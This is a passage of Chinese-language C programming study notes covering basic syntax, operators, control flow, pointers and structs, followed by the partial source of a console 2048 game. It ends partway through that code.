回溯）</li><li>⬜ assert 断言</li><li>⬜ 代码风格规范（缩进、命名）</li><li>⬜ 未定义行为（UB）常见案例</li></ul><h3 id="十四、实战项目参考"><a href="#十四、实战项目参考" class="headerlink" title="十四、实战项目参考"></a>十四、实战项目参考</h3><ul><li>✅ 2048 控制台游戏（源码分析）</li><li>✅ 学生信息管理系统（源码分析）</li><li>⬜ 简易 HTTP 服务器</li><li>⬜ 数据库连接示例（MySQL C API）</li></ul><h1 id="C语言程序结构"><a href="#C语言程序结构" class="headerlink" title="C语言程序结构"></a>C语言程序结构</h1><h2 id="hello-world！"><a href="#hello-world！" class="headerlink" title="hello world！"></a>hello world！</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;stdio.h&gt;   </span><br><span class="line">/*预处理，头文件，引入外部函数（多行注释）。预处理即可在程序整体编译之前进行处理，包括验证编译平台等*/ </span><br><span class="line"></span><br><span class="line">int main()  //主函数 </span><br><span class="line">&#123;</span><br><span class="line">    printf(&quot;Hello World\n);  </span><br><span class="line">    //调用函数输出字符串，函数是处理代码逻辑的最小单元。\n转义符号，下一段</span><br><span class="line">    </span><br><span class="line">    return 0;   //返回值</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="预处理"><a href="#预处理" class="headerlink" title="预处理"></a>预处理</h2><p><code>#define  宏名  字符串</code></p><p>类似一种预替换。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#define M(y) y*y+3*y  //带形参的宏定义</span><br><span class="line">k=M(5);  //宏调用</span><br></pre></td></tr></table></figure><h1 id="数据类型与格式化输出"><a href="#数据类型与格式化输出" class="headerlink" title="数据类型与格式化输出"></a>数据类型与格式化输出</h1><h2 id="基本数据类型"><a href="#基本数据类型" class="headerlink" title="基本数据类型"></a>基本数据类型</h2><ul><li>整型 int</li><li>字符型 char</li><li>实型（单精、双精） float&#x2F;double</li></ul><h2 id="构造数据类型"><a href="#构造数据类型" class="headerlink" title="构造数据类型"></a>构造数据类型</h2><ul><li>枚举类型</li><li>数组类型  &#x2F;&#x2F; <code>数据类型 数组名称[长度];</code></li><li>结构体类型</li><li>共用体类型</li></ul><h2 id="指针类型"><a href="#指针类型" class="headerlink" title="指针类型"></a>指针类型</h2><h2 id="空类型四大类"><a href="#空类型四大类" class="headerlink" title="空类型四大类"></a>空类型四大类</h2><h2 id="格式化输出"><a href="#格式化输出" class="headerlink" title="格式化输出"></a>格式化输出</h2><p><code>printf(&quot;普通字符输出格式符&quot;, 输出项);</code></p><ul><li>%d 整数</li><li>%c 单个字符</li><li>%s 字符串</li><li>%f 实数</li></ul><h2 id="常量"><a href="#常量" class="headerlink" title="常量"></a>常量</h2><p><code>#define POCKETMONEY 10    //定义常量及常量值</code></p><p>定义方式为 <code>#define 标识符 常量值</code></p><h2 id="强制类型转换"><a href="#强制类型转换" class="headerlink" title="强制类型转换"></a>强制类型转换</h2><p><code>(数据类型) (表达式)</code></p><p>如 <code>(int)(x/2+y)</code></p><h1 id="运算"><a href="#运算" class="headerlink" title="运算"></a>运算</h1><h2 id="常见表达式"><a href="#常见表达式" class="headerlink" title="常见表达式"></a>常见表达式</h2><style>table th:first-of-type {width: 20%;}</style><table><thead><tr><th>运算表达式</th><th>说明</th></tr></thead><tbody><tr><td>++a</td><td>先自加，再取值</td></tr><tr><td>a–</td><td>取值后自减</td></tr><tr><td>a+&#x3D;5</td><td>a &#x3D; a+5，即先加再赋值</td></tr><tr><td>&#x3D;&#x3D;</td><td>判断符号</td></tr><tr><td>&amp;&amp;</td><td>与</td></tr><tr><td>!</td><td>非。如!(5&gt;8)为真</td></tr></tbody></table><h2 id="位运算"><a href="#位运算" class="headerlink" title="位运算"></a>位运算</h2><table><thead><tr><th>运算符</th><th>说明</th><th>详细</th></tr></thead><tbody><tr><td>&amp;</td><td>按位与</td><td>9&amp;5在内存中解为二进制，仅1与1为1</td></tr><tr><td>|</td><td>按位或</td><td>如上，有1则1</td></tr><tr><td>^</td><td>按位异或</td><td>如上。不同为1，相同为0</td></tr><tr><td>~</td><td>取反</td><td>取反</td></tr><tr><td>&lt;&lt;</td><td>左移</td><td>二进制左移，丢高位，低位补0</td></tr><tr><td>&gt;&gt;</td><td>右移</td><td>丢地位，高位按高位内容补</td></tr></tbody></table><h2 id="三目运算"><a href="#三目运算" class="headerlink" title="三目运算"></a>三目运算</h2><p><code>表达式1 ? 表达式2 : 表达式3;</code></p><p>意为先<strong>判断表达式1的值是否为真，如果是真的话执行表达式2；如果是假的话执行表达式3</strong>。</p><h1 id="程序结构"><a href="#程序结构" class="headerlink" title="程序结构"></a>程序结构</h1><h2 id="判断体"><a href="#判断体" class="headerlink" title="判断体"></a>判断体</h2><h3 id="if判断结构"><a href="#if判断结构" class="headerlink" title="if判断结构"></a>if判断结构</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">if(表达式1)</span><br><span class="line">&#123;</span><br><span class="line">执行代码块1;</span><br><span class="line">if(表达式2)</span><br><span class="line">&#123;</span><br><span class="line">执行代码块2;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">else</span><br><span class="line">&#123;</span><br><span class="line">执行代码块2；</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="switch语句"><a href="#switch语句" class="headerlink" title="switch语句"></a>switch语句</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">switch()&#123;</span><br><span class="line">case 常量表达式1: 执行代码1 break;</span><br><span class="line">case 常量表达式2: 执行代码2 break;</span><br><span class="line">case 常量表达式3: 执行代码3 break;</span><br><span class="line">default: 执行代码n break;  //其他常量</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="循环体"><a href="#循环体" class="headerlink" title="循环体"></a>循环体</h2><h3 id="for循环"><a href="#for循环" class="headerlink" title="for循环"></a>for循环</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">for(执行1;判断1;每次循环句)</span><br><span class="line">&#123;</span><br><span class="line">执行代码块;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="while循环"><a href="#while循环" class="headerlink" title="while循环"></a>while循环</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">while(为“真”即循环)</span><br><span class="line">&#123;</span><br><span class="line">执行代码块;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="do-while循环"><a href="#do-while循环" class="headerlink" title="do-while循环"></a>do-while循环</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">do</span><br><span class="line">&#123;</span><br><span class="line">执行代码块;</span><br><span class="line">&#125;while(表达式);  //至少执行一次。</span><br></pre></td></tr></table></figure><h3 id="break和continue循环中断"><a href="#break和continue循环中断" class="headerlink" title="break和continue循环中断"></a>break和continue循环中断</h3><p>break跳出当前一层循环；<br>continue结束本次循环开始下次。</p><h1 id="定义函数"><a href="#定义函数" class="headerlink" title="定义函数"></a>定义函数</h1><h2 id="函数声明及调用"><a href="#函数声明及调用" class="headerlink" title="函数声明及调用"></a>函数声明及调用</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[数据类型说明] 函数名称（[参数]）;  //类型用void</span><br><span class="line">&#123;</span><br><span class="line">执行代码块；</span><br><span class="line">return（表达式）；  //返回值</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">函数名（[参数]）;  </span><br><span class="line">//调用函数，形参只有使用时才分配内存，实参可以是变量、常量、表达式……</span><br></pre></td></tr></table></figure><h1 id="指针"><a href="#指针" class="headerlink" title="指针"></a>指针</h1><p>指针的本质就是一个保存变量数据存储地址的<em>变量</em>，即内存编号，是一个以十六进制表示的整数，可以加减运算。</p><p><code>int a=10,*pa=&amp;a;</code></p><p><code>&amp;</code>可用于取变量地址。</p><p>如果一个指针指向的是另外一个指针，我们就称它为二级指针，或者指向指针的指针。</p><p><code>int a=100,*p1=&amp;a,*p2=&amp;p1;  //禁止套娃</code></p><h1 id="结构体与枚举"><a href="#结构体与枚举" class="headerlink" title="结构体与枚举"></a>结构体与枚举</h1><h2 id="结构体"><a href="#结构体" class="headerlink" title="结构体"></a>结构体</h2><p>结构体是存储不同类型数据的集合，又被称为复杂数据类型。作为一种数据类型，即可用于定义变量，甚至数组、指针。其数据在内存中如数组一样，也是连续的。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">struct stu&#123;  //stu是结构体名称</span><br><span class="line">    char *name;  //姓名</span><br><span class="line">    int num;  //学号</span><br><span class="line">    int age;  //年龄</span><br><span class="line">    char group;  //所在学习小组</span><br><span class="line">    float score;  //成绩</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">struct stu stu1, stu2;  //通过已定义结构体stu创建两个变量。</span><br><span class="line">stu1.name = &quot;Tom&quot;;  //结构体成员赋值。</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="共用体（很少用）"><a href="#共用体（很少用）" class="headerlink" title="共用体（很少用）"></a>共用体（很少用）</h2><p>共用体与结构体类似，但占用的内存为相同【<strong>不好理解</strong>】，而不像结构体那样，生成的变量占用的内存互不干扰。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">union data&#123;</span><br><span class="line">    int n;</span><br><span class="line">    char ch;</span><br><span class="line">    double f;</span><br><span class="line">&#125;;</span><br><span class="line">union data a, b, c;</span><br></pre></td></tr></table></figure><h2 id="枚举"><a href="#枚举" class="headerlink" title="枚举"></a>枚举</h2><p>枚举默认给其中的内容按顺序赋值，也可以指定值。</p><p><code>enum typeName{ valueName1, valueName2, valueName3, ...... };</code></p><p>如：</p><p><code>enum week{ Mon = 1, Tues = 2, Wed = 3, Thurs = 4, Fri = 5, Sat = 6, Sun = 7 }</code></p><h1 id="经典c语言程序"><a href="#经典c语言程序" class="headerlink" title="经典c语言程序"></a>经典c语言程序</h1><h2 id="c语言2048-来自网络"><a href="#c语言2048-来自网络" class="headerlink" title="c语言2048(来自网络)"></a><a href="https://www.cnblogs.com/judgeyoung/p/3760515.html">c语言2048(来自网络)</a></h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br></pre></td><td class="code"><pre><span class="line">/*</span><br><span class="line">* Copyright (C) 2014-2018 Judge Young</span><br><span class="line">* E-mail: yjjtc@126.com</span><br><span class="line">* Version: 2.0</span><br><span class="line">* DateTime: 2018-08-01 23:18</span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line">#include &lt;time.h&gt;   /* 包含设定随机数种子所需要的time()函数 */</span><br><span class="line">#include &lt;stdio.h&gt;  /* 包含C的IO读写功能 */</span><br><span class="line">#include &lt;stdlib.h&gt; /* 包含C标准库的功能 */</span><br><span class="line"></span><br><span class="line">#ifdef _WIN32</span><br><span class="line"></span><br><span class="line">/* 包含Windows平台相关函数，包括控制台界面清屏及光标设定等功能 */</span><br><span class="line">#include &lt;conio.h&gt;</span><br><span class="line">#include &lt;windows.h&gt;</span><br><span class="line">#include &lt;io.h&gt;</span><br><span class="line">#include &lt;direct.h&gt;</span><br><span class="line">#include &lt;Shlobj.h&gt;</span><br><span class="line"></span><br><span class="line">#else</span><br><span class="line"></span><br><span class="line">/* 包含Linux平台相关函数，包括控制台界面清屏及光标设定等功能 */</span><br><span class="line">#include &lt;termio.h&gt;</span><br><span class="line">#include &lt;unistd.h&gt;</span><br><span class="line">#include &lt;bits/signum.h&gt;</span><br><span class="line">#include &lt;signal.h&gt;</span><br><span class="line"></span><br><span class="line">#define KEY_CODE_UP    0x41</span><br><span class="line">#define KEY_CODE_DOWN  0x42</span><br><span class="line">#define KEY_CODE_LEFT  0x44</span><br><span class="line">#define KEY_CODE_RIGHT 0x43</span><br><span class="line">#define KEY_CODE_QUIT  0x71</span><br><span class="line"></span><br><span class="line">struct termios old_config; /* linux下终端属性配置备份 */</span><br><span class="line"></span><br><span class="line">#endif</span><br><span class="line"></span><br><span class="line">static char config_path[4096] = &#123;0&#125;; /* 配置文件路径 */</span><br><span class="line"></span><br><span class="line">static void init_game();    /* 初始化游戏 */</span><br><span class="line">static void loop_game();    /* 游戏循环 */</span><br><span class="line">static void reset_game();   /* 重置游戏 */</span><br><span class="line">static void release_game(int signal); /* 释放游戏 */</span><br><span class="line"></span><br><span class="line">static int read_keyboard();</span><br><span class="line"></span><br><span class="line">static void move_left();  /* 左移 */</span><br><span class="line">static void move_right(); /* 右移 */</span><br><span class="line">static void move_up();    /* 上移 */</span><br><span class="line">static void move_down();  /* 下移 */</span><br><span class="line"></span><br><span class="line">static void add_rand_num();    /* 生成随机数，本程序中仅生成2或4，概率之比设为9:1 */</span><br><span class="line">static void check_game_over(); /* 检测是否输掉游戏，设定游戏结束标志 */</span><br><span class="line">static int get_null_count();   /* 获取游戏面板上空位置数量 */</span><br><span class="line">static void clear_screen();    /* 清屏 */</span><br><span class="line">static void refresh_show();    /* 刷新界面显示 */</span><br><span class="line"></span><br><span class="line">static int board[4][4];     /* 游戏数字面板，抽象为二维数组 */</span><br><span class="line">static int score;           /* 游戏得分 */</span><br><span class="line">static int best;            /* 游戏最高分 */</span><br><span class="line">static int if_need_add_num; /* 是否需要生成随机数标志，1表示需要，0表示不需要 */</span><br><span class="line">static int if_game_over;    /* 是否游戏结束标志，1表示游戏结束，0表示正常 */</span><br><span class="line">static int if_prepare_exit; /* 是否准备退出游戏，1表示是，0表示否 */</span><br><span class="line"></span><br><span class="line">/* main函数 函数定义 */</span><br><span class="line">int main(int argc, char *argv[]) &#123;</span><br><span class="line">    init_game();</span><br><span class="line">    loop_game();</span><br><span class="line">    release_game(0);</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 读取键盘 函数定义 */</span><br><span class="line">int read_keyboard() &#123;</span><br><span class="line">#ifdef _WIN32</span><br><span class="line">    return _getch();</span><br><span class="line">#else</span><br><span class="line">    int key_code;</span><br><span class="line">    if (read(0, &amp;key_code, 1) &lt; 0) &#123;</span><br><span class="line">        return -1;</span><br><span class="line">    &#125;</span><br><span class="line">    return key_code;</span><br><span class="line">#endif</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 开始游戏 函数定义 */</span><br><span class="line">void loop_game() &#123;</span><br><span class="line">    while (1) &#123;</span><br><span class="line">        int cmd = read_keyboard(); /* 接收标准输入流字符命令 */</span><br><span class="line"></span><br><span class="line">        /* 判断是否准备退出游戏 */</span><br><span class="line">        if (if_prepare_exit) &#123;</span><br><span class="line">            if (cmd == &#x27;y&#x27; || cmd == &#x27;Y&#x27;) &#123;</span><br><span class="line">                /* 退出游戏，清屏后退出 */</span><br><span class="line">                clear_screen();</span><br><span class="line">                return;</span><br><span class="line">            &#125; else if (cmd == &#x27;n&#x27; || cmd == &#x27;N&#x27;) &#123;</span><br><span class="line">                /* 取消退出 */</span><br><span class="line">                if_prepare_exit = 0;</span><br><span class="line">                refresh_show();</span><br><span class="line">                continue;</span><br><span class="line">            &#125; else &#123;</span><br><span class="line">                continue;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        /* 判断是否已经输掉游戏 */</span><br><span class="line">        if (if_game_over) &#123;</span><br><span class="line">            if (cmd == &#x27;y&#x27; || cmd == &#x27;Y&#x27;) &#123;</span><br><span class="line">                /* 重玩游戏 */</span><br><span class="line">                reset_game();</span><br><span class="line">                continue;</span><br><span class="line">            &#125; else if (cmd == &#x27;n&#x27; || cmd == &#x27;N&#x27;) &#123;</span><br><span class="line">                /* 退出游戏，清屏后退出  */</span><br><span class="line">                clear_screen();</span><br><span class="line">                return;</span><br><span class="line">            &#125; else &#123;</span><br><span class="line">                continue;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        if_need_add_num = 0; /* 先设定不默认需要生成随机数，需要时再设定为1 */</span><br><span class="line"></span><br><span class="line">#ifdef _WIN32</span><br><span class="line">        /* 命令解析，w，s，a，d字符代表上下左右命令，q代表退出 */</span><br><span class="line">        switch (cmd) &#123;</span><br><span class="line">          case &#x27;a&#x27;:</span><br><span class="line">          case 75:move_left();</span><br><span class="line">            break;</span><br><span class="line">          case &#x27;s&#x27;:</span><br><span class="line">          case 